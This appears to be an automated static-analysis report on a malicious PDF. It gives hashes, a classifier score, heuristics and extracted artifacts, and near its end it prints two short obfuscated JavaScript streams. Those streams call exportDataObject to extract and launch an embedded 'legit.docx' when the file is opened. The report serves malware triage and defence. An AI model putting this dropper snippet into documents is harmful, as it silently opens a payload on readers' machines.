Malicious PDF — malware analysis report

Static analysis result for SHA-256 df08726b364d0ba3…

MALICIOUS

PDF

17.9 KB Created: 2012-06-07 10:46:28 +01:00 Authoring application: iTextSharp’ 5.5.10 ©2000-2016 iText Group NV (AGPL-version) First seen: 2026-05-03
MD5: 93e00900840214e10697ae117737cde4 SHA-1: 5bdea45c2d50453ccd827eb4ed9efd7f432bc468 SHA-256: df08726b364d0ba3ba010f29f8f0513e21f8f771279c2224cb15e33840d076bc
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged as malicious by an ML classifier with high confidence. It contains embedded JavaScript streams and an embedded DOCX file, indicating a multi-stage attack. The JavaScript is likely intended to download and execute further payloads, although its exact function is obscured by obfuscation. The presence of an embedded DOCX file suggests a document-based attack vector.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
legit.docx pdf-embedded-file PDF EmbeddedFile object 1 at offset 0x85 13255 bytes
SHA-256: 1c999e43775977615a94d4707bfcec6de7f1c1eb31de9a7dcac1c37d8757d6ea
Detection
ClamAV: No threats found
Obfuscation or payload: likely
actual_type=ZIP; declared_or_context_type=PDF; filename=legit.docx; kind=pdf-embedded-file
javascript_obj0012_000.js pdf-javascript-stream PDF /JS object 12 at offset 0x44F3 50 bytes
SHA-256: dfe131a9d612d858fd2386745dc33aa0ce081db21594b6273fc1407e0c2098cf
Preview script
First 1,000 lines of the extracted script
var rabak2=['nLaunch','cName','exportDataObject'];
javascript_obj0003_001.js pdf-javascript-stream PDF /JS object 3 at offset 0x40FA 101 bytes
SHA-256: a7cae16436118a22bd1e98cf23ccadb5bd0e952e96b60e6bf0e1ab6f05b52bd3
Preview script
First 1,000 lines of the extracted script
var kuperman=0;var rabak={};rabak[rabak2[1]]= 'legit.docx';rabak[rabak2[0]]= 2;this[rabak2[2]](rabak)

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